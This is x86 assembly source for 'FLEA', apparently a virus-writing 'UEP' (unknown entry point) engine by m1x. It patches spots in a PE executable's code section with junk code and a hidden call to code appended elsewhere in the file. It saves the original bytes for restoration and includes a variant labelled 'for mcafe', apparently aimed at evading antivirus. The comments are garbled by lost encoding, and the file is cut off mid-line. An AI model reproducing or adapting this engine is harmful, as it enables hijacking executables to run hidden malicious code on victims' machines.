;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ; ; xxxxxxxxxxx xxxx xxxxxxxxxxx xxxxxxxxxx ; ; xxxxxxxxxxx xxxx xxxxxxxxxxx xxxx xxxx ; ; xxxx xxxx xxxx xxxx xxxx ; ; xxxx xxxx xxxx xxxx xxxx ; ; xxxxxxxxx xxxx xxxxxxxxx xxxx xxxx ; ; xxxxxxxxx xxxx xxxxxxxxx xxxx xx xxxx ; ; xxxx xxxx xxxx xxxx xx xxxx ; ; xxxx xxxx xxxx xxxx xxxx xxxx ; ; xxxx xxxxxxxxxxx xxxxxxxxxxx xxxx xxxx ; ; xxxx xxxxxxxxxxx xxxxxxxxxxx xxxx xxxx ; ; ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; UEP ENGINE ; ; FLEA ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; :)! ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ������� FLEA ; ; ���(��) ������ ; ; ; ; ; ;����: ; ;1 �������� (� ������������) - ����� ��������� (UEPGEN) (�� �������� ������ ����) ; ;--------------------------------------------------------------------------------------------------------; ;�����: ; ;EAX - ���������� ����������� ����� ����� ����� ; ;(� ����� ����� �������: ������ ����� � ������� ������ � ����������� ����������� ������������ ���� ; ;--------------------------------------------------------------------------------------------------------; ;�������: ; ;���������, ��������� �� ������� ������� � �������� ���������, �� ��������, �.�. ������ � ��� ����� ; ;������ ������� ������ �������� ���� ��. ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ! ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; �������� ��������� ; ; UEPGEN ; ; ; ; ; ;UEPGEN struct ; ; rgen_addr dd ? ;����� ���������� ��������� ����� (���) ; ; tgen_addr dd ? ;����� ���������� �������� ���������� ; ; mapped_addr dd ? ;���� �������� ����� (MapViewOfFile) ; ; xsection dd ? ;IMAGE_SECTION_HEADER ������, � ������� ����� ����� �������� ���������� ; ; reserved1 dd ? ;��������������� ; ;MORPHGEN ends ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; �������� ��������� ; ; T2GEN ; ; (aka TRASHGEN) ; ; (����� ��������� �������� ������ � ������ xTG) ; ; ; ; ; ;TRASHGEN struct ; ; rgen_addr dd ? ;����� ���������� ��������� ����� (���) ; ; buf_for_trash dd ? ;����� (�����), ���� ���������� ������������ (���, ������������) ������ ; ; size_trash dd ? ;������ (� ������), ������� ������ �������� ; ; regs dd ? ;������� �������� (2 ��) ; ; xmask1 dd ? ;64-������ ����� ��� ��������� ; ; xmask2 dd ? ;�������� ������ (��� ������) ; ; beg_addr dd ? ;��������� ����� ; ; end_addr dd ? ;�������� ����� ; ; mapped_addr dd ? ;��������������� (���� ���� ������� (��� ����� ����� � ������)) ; ; reserv1 dd ? ;��������������� (��, ����� �����-�� ��� ��� � �����) ; ;TRASHGEN ends ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ! ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ��������� � ����� ��������� UEPGEN: ; ; ; ; ; ;[ rgen_addr ] : ; ; ��� ��� ������ ������ (FLEA) ���������� ��� �������� � ������-���� ������� ������, ; ; � ��� ��������� ������ (� ��������� ������ ���) ����� ���, ������� ����� ��� ; ; �������� � (������) ���� ���������. ; ; �����: ���� ����� FLEA ����� ������������ ������ ��� (� �� ���, ������� ; ; ���� � ��� � ���������), ����, ����� ���� ������ ��� �������� � �������� 1-�� ; ; (� �������������!) ��������� � ����� ����� (������� ��� N), ��� ��� ����� ����� � ; ; ��������� [0..n-1]. � �� ������ ������ ��� ������ ���������� � EAX ��������� �����. ; ; ��������� �������� ������ �������� �����������. ���. ; ;--------------------------------------------------------------------------------------------------------; ;[ tgen_addr ] : ; ; ����������, ��� � � ���������� ����� ���������. ������ ����� ��������� ������ ; ; ������ ���� �������� � ����, ��� xTG (� �������� ����� ����� ���������� ���� � ��� ; ; ���-���). ; ;--------------------------------------------------------------------------------------------------------; ;[ mapped_addr ] : ; ; � ���� ���� �������� ���� �������� �����. ��� ������, �������� ���������� ����� ; ; ������ ����� MapViewOfFile. ; ;--------------------------------------------------------------------------------------------------------; ;[ xsection ] : ; ; ����� ���������� ���� 0, ���� IMAGE_SECTION_HEADER (� ������) ��� ������, � ; ; ������� ����� ��������� ������ ����� �������� ���������� ������ uep-������. ; ; ���� ����� 0, �� ���������� ����� �������� � ����� ��������� ������. ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ������� ; ; ; ; ; ;1) ��� �������� ����� ����� (�� ���� ��� ��������� �����) ������� ������� (�������) ������� FLEA. ; ;2) ��� �������������� ����� ����������� ���� ������� ������� FLEA_RESTBYTES (�������� ����������� ; ; ������� ������� ������ ������ �������� ������� �� ������+������). ; ;3) ��� ��� ����� ������������ ����� ���������� (� ��������, ��������, �������� ret), � ������� � ; ; ���������� ����� �������������� � ������� CALL'��, �� � ����� ����� ������ ��������. � ����� ����� ; ; ���� ��������������, ������� ������� FLEA_RESTSTACK. �����: ����� ������� ������� FLEA_RESTSTACK, ; ; � ����� �� ������ ���� ��� ������� ������ ������. ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; y0p! ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; ���� ; ; ; ; ; ;(+) ��������� ���������� ����� ����� ; ; ; ;(+) ����� ����� ��������� ������, � ����� ������ ������� �� ������ (������ ���� � ��������) ; ; ; ;(+) ������� ������������� ; ; ; ;(+) ������������� ��� � ���������� ������ (�������� �����, ��� ��� ������ ����������) ; ; ; ;(+) ����������������� ; ; ; ;(+) ����� �������� ��� ���������� (� ��������, ��������, �������� ret, � ����� �������� � fake winapi) ; ; ; ;(+) ��� �������� � ������ ������� (��� & trashgen ����� ����� ����� - ������� ����� ����;) ; ; * ����� ��������� ��� ��������������� ������; ; ; ; ;(+) �� ����� WinAPI ; ; ; ;(+) ���������� ����� ���������� �� ����� ������ ����� ��������� uep-������ (����� �����������) ; ; ; ;(x) ���������� ������ � ������-��������. ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; y0p! ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; ; ; �������������: ; ; ; ; ; ;1) �����������: ; ; FLEA.asm ; ;2) ����� (������ stdcall): ; ; ... ; ; szBuf db 100 dup (00h) ; ; ... ; ; lea ecx,szBuf ; ; assume ecx:ptr UEPGEN ; ; mov [ecx].rgen_addr,00401000h ;�� ����� ������ ������ ���������� ��� ; ; mov [ecx].tgen_addr,00401300h ;�� ����� ������ ������ ���������� ������� ; ; mov [ecx].mapped_addr,00330000h ;�� ����� ������ ��������� ���� �������� ; ; mov [ecx].xsection,0 ;������ � ����, ������ ��� ����� �������� ���������� ; ; ;�� ����� ��������� ������ ; ; ;��������� ��������� ��������. ; ; call FLEA ;�������� ����������� ������ ; ; ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ;v1.0 ;������� ������ ������� �����, ������� �������� ������� � ���. ;m1x ;pr0mix@mail.ru ;EOF ;======================================================================================================== ;��������� ;======================================================================================================== UEPGEN struct rgen_addr dd ? tgen_addr dd ? mapped_addr dd ? xsection dd ? reserved1 dd ? UEPGEN ends ;-------------------------------------------------------------------------------------------------------- T2GEN struct ; rgen_addr dd ? ;����� ���������� ��������� ����� (���) ; buf_for_trash dd ? ;����� (�����), ���� ���������� ������������ (���, ������������) ������ ; size_trash dd ? ;������ (� ������), ������� ������ �������� ; regs dd ? ;������� �������� (2 ��) ; xmask1 dd ? ;64-������ ����� ��� ��������� ; xmask2 dd ? ;�������� ������ (��� ������) ; beg_addr dd ? ;��������� ����� ; end_addr dd ? ;�������� ����� ; mapped_addr dd ? ;���� ������� ; reserv1 dd ? ;��������������� (��, ����� �����-�� ��� ��� � �����) ; T2GEN ends ; ;======================================================================================================== MAX_SPOTS equ 10 ;������������ ���-�� ������������ ����� uportion1 equ 85 ;������ (� ������) 1-�� ������ ������ uportion2 equ 50 ;������ (� ������) 2-�� ������ ������ MIN_FIRST_PORTION equ uportion1-30 ;������������ ������ ������ ������ �� ������ ������� ���-�� ���� min_jmp equ uportion1+uportion2+7+10+30 ;���������� ����������� max_jmp equ min_jmp+200 ;���������� ������������ ;����� ���� �������� ��� �������� begin_address equ 0 ;��������� ����� (�������� ������ � xTG.asm, ���� ����� ����) end_address equ 0 ;�������� ����� mask_trash1 equ 00000000000011111111110101111001b ;����� ��� ������ mask_trash2 equ 011110000b ;2-�� ����� ����� (��������� ������ ��������� �������� ������) FLEA: ;������ FLEA pushad ;��������� �������� cld mov ebp,esp ;[ebp+00] mov ebx,dword ptr [ebp+24h] assume ebx:ptr UEPGEN ;ebx - ��������� �� ��������� UEPGEN mov esi,[ebx].mapped_addr assume esi:ptr IMAGE_DOS_HEADER add esi,[esi].e_lfanew push esi ;[ebp-04] ;��������� ��������� �� IMAGE_NT_HEADERS lodsd assume esi:ptr IMAGE_FILE_HEADER movzx ecx,[esi].NumberOfSections movzx edx,[esi].SizeOfOptionalHeader add esi,sizeof IMAGE_FILE_HEADER assume esi:ptr IMAGE_OPTIONAL_HEADER push [esi].AddressOfEntryPoint ;[ebp-08] ;��������� ����� ����� push [esi].ImageBase ;[ebp-12] ;��������� ���� add esi,edx assume esi:ptr IMAGE_SECTION_HEADER sub esp,(sizeof T2GEN + 4 + 80) ;�������� � ����� ����� ��� ��������� ���������� � ��������� T2GEN (aka TRASHGEN) mov tgen_struct,esp mov edx,esp assume edx:ptr T2GEN ;-------------------------------------------------------------------------------------------------------- push mask_trash1 ;����������� ����� ��� ��������� ����� call gen_mask or al,1 mov xtmask1,eax push mask_trash2 call gen_mask or eax,01110000b mov xtmask2,eax ;-------------------------------------------------------------------------------------------------------- push [ebx].rgen_addr ;������� �������� ��������� ���� ��������� TRASHGEN pop [edx].rgen_addr mov [edx].regs,0FFh push xtmask1 pop [edx].xmask1 push xtmask2 pop [edx].xmask2 mov [edx].beg_addr,begin_address mov [edx].end_addr,end_address push [ebx].mapped_addr pop [edx].mapped_addr xor eax,eax cdq ;-------------------------------------------------------------------------------------------------------- _search_new_ep_: ;����� �������� ����� ������� ������ cmp edx,[esi].VirtualAddress ja _search_code_sec_ cmp eax,[esi].PointerToRawData ja _search_code_sec_ mov edx,[esi].VirtualAddress ;� ����� �������� ����� ����� ����� (��� ����� ��������� �� ����� ��������� ������) mov eax,[esi].PointerToRawData mov edi,[esi].SizeOfRawData mov new_ep,edx add new_ep,edi ;-------------------------------------------------------------------------------------------------------- _search_code_sec_: push eax mov eax,old_ep mov edi,[esi].VirtualAddress cmp edi,eax;old_ep ja _nextsection_ cmp [esi].Misc.VirtualSize,0 jne _vsok_ add edi,[esi].SizeOfRawData jmp _psok_ _vsok_: add edi,[esi].Misc.VirtualSize _psok_: cmp edi,eax jbe _nextsection_ sub eax,[esi].VirtualAddress add eax,[esi].PointerToRawData add eax,[ebx].mapped_addr mov start_addr,eax ;���� ����� ������� ������, �� �������� ���������� ����� ����� �����, �.�. ������ � ������ ������� ����� mov codesec,esi ;� ����� �������� ��������� � �������� ������ �� ������� ������ _nextsection_: pop eax add esi,sizeof IMAGE_SECTION_HEADER loop _search_new_ep_ ;-------------------------------------------------------------------------------------------------------- mov esi,codesec ;����� �������� ����� ������� ������ mov eax,[esi].SizeOfRawData cmp eax,[esi].Misc.VirtualSize jbe _sizecsok_ cmp [esi].Misc.VirtualSize,0 je _sizecsok_ mov eax,[esi].Misc.VirtualSize _sizecsok_: add eax,[esi].VirtualAddress sub eax,old_ep mov size_codesec,eax add eax,old_ep mov max_codesec_addr,eax mov edi,imNTh assume edi:ptr IMAGE_NT_HEADERS ;-------------------------------------------------------------------------------------------------------- _maxvacs_: ;�����, ������ ������������ �����, � ��������� �������: ;[�����. ����� ����� ����� ; ������������ ����� � ������� ������] ;� � ���� ������� ����� ���������� �����. ����� � ������� ������ ����� ���� ���������� �������, tls � �.�. ;� ���� �� ��������� �� ������ �������, �� ����� ������ ����� mov eax,[edi].OptionalHeader.DataDirectory[ecx*8].VirtualAddress cmp old_ep,eax ja _nextdatadir_ cmp max_codesec_addr,eax jb _nextdatadir_ mov max_codesec_addr,eax _nextdatadir_: inc ecx cmp ecx,15 jne _maxvacs_ ;-------------------------------------------------------------------------------------------------------- mov eax,max_codesec_addr sub eax,[esi].VirtualAddress add eax,[esi].PointerToRawData add eax,[ebx].mapped_addr mov max_codesec_addr,eax ;�������� ������������ ���������� ����� � ������� ������ ;���, ������ �������� � ��� ���� mov eax,start_addr mov cur_codesec_addr,eax push MAX_SPOTS call [ebx].rgen_addr ;�������� ��������, ������� ����� �������� � ������� � ������� ������ inc eax mov num_spots,eax call _delta_uep_ _delta_uep_: pop eax sub eax,_delta_uep_ lea ecx,[restore_bytes+eax] mov beg_rest_bytes,ecx ;� ���� ����� ����� ��������� ������������ ����� �� ������� ������ (������� ��������� �������) xor ecx,ecx ;-------------------------------------------------------------------------------------------------------- _nextaddrforspots_: call get_jmpaddr ;������� ����� ���������� �����, �� ������� ������� add eax,cur_codesec_addr push eax add eax,(uportion1+uportion2+7+10) ;�������� 2 ������ ������ + max ������ (mov reg,<address> call reg) (7 byte) + ������ ������� � ������� ��� ������� �������� (6 byte + 3 byte) + ������ ������� ret (+1 byte) cmp eax,max_codesec_addr ;� ������� � ������������ ���������� ������� pop eax jae _alladdrforspots_ ;���� ������ ����. ������, �� ����� ������ �� ����� ��������, � ������� �� ����� push eax ;����� ��������� � ����� ����� mov cur_codesec_addr,eax ;������� ������� ������� �������� ����� ��� ������ ����� inc ecx cmp ecx,num_spots jne _nextaddrforspots_ _alladdrforspots_: mov num_spots,ecx ;�������� ���-�� �����, ������� ����� ����� �������� � ������� ������ ;-------------------------------------------------------------------------------------------------------- cmp cl,1 push 0 pop eax jb _enduep_ ;���� ���� �����, �� ������� �� ������ mov eax,esp push start_addr ;����� ������������ ��� ���������� ������ �����, ����� ������� je _nomixaddr_ ;-------------------------------------------------------------------------------------------------------- push ecx push eax call mix_addr ;���������� ������ ����� _nomixaddr_: xor edx,edx mov edi,beg_rest_bytes stosb ;� 1-�� ����� ����� ��������� ���-�� �����. ���� ��������� ��� mov cur_rest_bytes,edi ;-------------------------------------------------------------------------------------------------------- _genspot_: mov edi,cur_rest_bytes _portion1_: push uportion1 call [ebx].rgen_addr cmp eax,MIN_FIRST_PORTION jb _portion1_ mov spot1,eax xchg eax,ecx push uportion2 call [ebx].rgen_addr mov spot2,eax add ecx,eax add ecx,(7+10) ;max_size (mov reg,<address> call reg) (7 byte) + prologue (6 byte) + epilogue (3 byte) + ret (1 byte) mov eax,ecx stosd ;������� �������� � ����. ������ ������ ���������� ����� (��� 1-�� ������ ������ + jmp + 2-�� ������ ������) mov eax,dword ptr [esp] mov esi,codesec sub eax,[ebx].mapped_addr sub eax,[esi].PointerToRawData add eax,[esi].VirtualAddress add eax,base stosd ;� �������� ������ ���������� ����������� �����, ���� ����� ����� ��������������� ����� ����������� ����� mov esi,dword ptr [esp] rep movsb ;� ����� �������� �����, �� ����� ������� ������� ����� mov cur_rest_bytes,edi pop edi push edx mov edx,tgen_struct ;-------------------------------------------------------------------------------------------------------- mov [edx].buf_for_trash,edi mov [edx].size_trash,6 ;������ ������� mov [edx].xmask1,0b mov [edx].xmask2,100b ;� ����� ��������� ��������� ������ ������� (��� ������� ���������� ������ ����� �������� ��������� ������ ������) push edx call [ebx].tgen_addr ;������� ������ (push ebp mov ebp,esp sub esp,0xXX) push xtmask1 pop [edx].xmask1 push xtmask2 pop [edx].xmask2 ;-------------------------------------------------------------------------------------------------------- mov [edx].buf_for_trash,eax mov eax,spot1 mov [edx].size_trash,eax push edx call [ebx].tgen_addr ;������� ������ ������ ������ xchg eax,edi push edi add edi,5 mov eax,dword ptr [esp+04] cmp eax,num_spots ;��������, ������� ��������� ����� ��� ������ �����? jne _nextspot_ ;���� ��, ����� ������� ��������� �����, jmp � ������� ����� ��������� �� ��������� ������, � �� �� ��������� ����� ;******************************************************************************************************** comment % ;������ ���������� ����� mov esi,codesec ;� ������� �������� ������� ��������� ������� ��� jmp (0xE9) sub edi,[ebx].mapped_addr sub edi,[esi].PointerToRawData add edi,[esi].VirtualAddress mov ecx,[ebx].xsection jecxz _notxsec_ assume ecx:ptr IMAGE_SECTION_HEADER sub edi,[ecx].VirtualAddress sub edi,[ecx].SizeOfRawData ;����� ������ call near (0xE8 0xXX 0xXX 0xXX 0xXX) jmp _finalcall_ _notxsec_: sub edi,new_ep _finalcall_: neg edi xchg edi,dword ptr [esp] mov al,0E8h ;0E9h ;CALL NEAR 0xXXXXXXXX (0xE8 0xXX 0xXX 0xXX 0xXX) stosb pop eax stosd ;% ;comment ! ;for mcafe mov edi,new_ep mov ecx,[ebx].xsection jecxz _notxsec_ ;���� ���� ������, ������ ���������� ����� ���� �������� � ����� ��������� ������ assume ecx:ptr IMAGE_SECTION_HEADER mov edi,[ecx].VirtualAddress add edi,[ecx].SizeOfRawData _notxsec_: add edi,base ;� ����� ������ xchg edi,dword ptr [esp] mov al,0B8h ;mov reg32,<address> stosb pop eax stosd mov al,0FFh ;call reg32 stosb mov al,0D0h stosb ;! mov [edx].buf_for_trash,edi mov eax,spot2 mov [edx].size_trash,eax push edx call [ebx].tgen_addr ;2-�� ������ ������ ��� ���������� ����� ;-------------------------------------------------------------------------------------------------------- mov [edx].buf_for_trash,eax mov [edx].size_trash,3 ;������ ������� mov [edx].xmask1,0b mov [edx].xmask2,1000b ;� ����� ��������� ��������� ������ ������� (��� ������� ���������� ������ ����� �������� ��������� ��������� ������ ������) push edx call [ebx].tgen_addr ;������� ������ ��� ���������� ����� (mov esp,ebp pop ebp) mov byte ptr [eax],0C3h ;� ������� ret ;-------------------------------------------------------------------------------------------------------- pop edx jmp _endspot_ ;������� �� ����� ;******************************************************************************************************** ;������ ���������� ����� _nextspot_: sub edi,dword ptr [esp+08] ;��������� ����� neg edi xchg edi,dword ptr [esp] mov al,0E8h ;CALL NEAR (0xE8 0xXX 0xXX 0xXX 0xXX) stosb pop eax stosd mov [edx].buf_for_trash,edi mov eax,spot2 mov [edx].size_trash,eax push edx call [ebx].tgen_addr ;2 ������ ������ ��� ���������� �������� ;-------------------------------------------------------------------------------------------------------- mov [edx].buf_for_trash,eax mov [edx].size_trash,3 ;������ ������� mov [edx].xmask1,0b mov [edx].xmask2,1000b ;� ����� ��������� ��������� ������ ������� (��� ������� ���������� ������ ����� �������� ��������� ��������� ������ ������) push edx call [ebx].tgen_addr ;������� ������ ��� ���������� ����� (mov ebp,esp pop ebp) mov byte ptr [eax],0C3h ;� ������� ret ;-------------------------------------------------------------------------------------------------------- pop edx inc edx jmp _genspot_ ;-------------------------------------------------------------------------------------------------------- _endspot_: mov edi,beg_rest_bytes mov eax,num_spots ;������������ ���-�� ���������� ����� (�.�. �� ����� �� �� ��������� 1-��� �����, ������� ������ ������������ � ����� �����) inc eax stosb mov eax,start_addr mov esi,codesec sub eax,[ebx].mapped_addr sub eax,[esi].PointerToRawData add eax,[esi].VirtualAddress add eax,base ;-------------------------------------------------------------------------------------------------------- _enduep_: mov esp,ebp mov dword ptr [ebp+1Ch],eax ;��������� � EAX popad ret 4 ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;����� ��������/������ FLEA ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;������� FLEA_RESTBYTES ;�������������� ����� ����������� ���� (�� ���� �����) ;�����: ; - ������ ���� ���� :) ;EAX - ���-�� ��������������� ����� (�� ����� ������� ����������� ����� ����������� �����) ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx FLEA_RESTBYTES: pushad cld call _delta_ueprest_ _delta_ueprest_: pop eax sub eax,_delta_ueprest_ lea esi,[restore_bytes+eax] push esi xor eax,eax lodsb xchg eax,ebx ;��������� � EBX ���-�� ���������� ����� mov edx,ebx _nextrestspot_: lodsd xchg eax,ecx ;��������� � ECX ������ ���������� ����� lodsd xchg eax,edi ;��������� � EDI �����, ��� ��������� ��������� ����� rep movsb ;� ������� �� ����� ����� ����� ������������ (����� �����������) ����� dec ebx jne _nextrestspot_ pop eax sub esi,eax xchg eax,esi mov dword ptr [esp+1Ch],edx popad ret ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;����� ������� FLEA_REST ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;������� FLEA_RESTSTACK ;�������������� ����� ����� ����� ����� ;���� (stdcall) (FLEA_RESTSTACK(DWORD num_spots)): ;num_spots - ���������� ������������ � ������ ����� ; (��� �������� ����� �������� �� ������ restore_bytes) ;�����: ;������������ �����, � ����� � ECX=0, EAX = ����� �������, ������� ����������� ����� ����� ������ ������ ;������� (FLEA_RESTSTACK); ;�������: ; ��� ��� ������ ����� ������ ������� EBP � ESP (����� EBP � ����, � ����� �����, ��������� �� ; CALL'��), �� ���� ������������ ������ ��������, � �������������� ����. ; �����: �������� ��� ������� ������ �����, ����� � ����� �� ��� �� ������� ������� ������. ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx FLEA_RESTSTACK: pop eax pop ecx _reststack_: add esp,4 ;pop edx mov esp,ebp pop ebp loop _reststack_ jmp eax ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;����� ����� FLEA_RESTSTACK ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;��������������� ������� gen_mask ;��������� ����� ��� ������ ;���� (stdcall) (gen_mask(DWORD xmask)): ; xmask - ��������� ����� ;�����: ; EAX - ����� ����� ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx gen_mask: push ecx mov ecx,dword ptr [esp+08] push -1 call [ebx].rgen_addr and ecx,eax rol eax,10h push eax call [ebx].rgen_addr and ecx,eax xchg eax,ecx pop ecx ret 4 ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;����� ������� gen_mask ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;��������������� ������� get_jmpaddr ;��������� �������� ��� jmp'a, ������� ����� ������� �� ��������� ����� ;�����: ;��� - ������� �������� ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx get_jmpaddr: push max_jmp call [ebx].rgen_addr cmp eax,min_jmp jb get_jmpaddr ret ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;����� ������� get_jmpaddr ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;��������������� ������� mix_addr ;������������� ��������� ������� ������ � ������� ;�������: � ������ ������ ������������ ��� ������������� �������� ������� ������� ����� ;���� ( mix_adr(DWORD *addr_mas, DWORD num_elem) ): ;addr_mas - ����� ������(�������), ��� ��������� ��������, ������� ������� ���������� ;num_elem - ���-�� ���� ����� ��������� ;�����: ;������������ ������ � ������(�������) ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx mix_addr: pushad ; mov ecx,dword ptr [esp+28h] ;ECX - ���-�� ��������� mov esi,dword ptr [esp+24h] ;ESI - ����� ������, ��� ��������� ��� �������� xor edx,edx _nxtmix_: push ecx call [ebx].rgen_addr ;�������� �� [0..ECX-1] push dword ptr [esi+edx*4] ;� ������������ push dword ptr [esi+eax*4] pop dword ptr [esi+edx*4] pop dword ptr [esi+eax*4] inc edx cmp edx,ecx jne _nxtmix_ ;���� ���������� ��� ��������, �� �� ����� popad ret 4*2 ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;����� ������� mix_addr ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx ;======================================================================================================== ;��������������� ���������� (��������� � �����) ;======================================================================================================== imNTh equ dword ptr [ebp-04] ;��������� �� IMAGE_NT_HEADERS old_ep equ dword ptr [ebp-08] ;������ ����� ����� base equ dword ptr 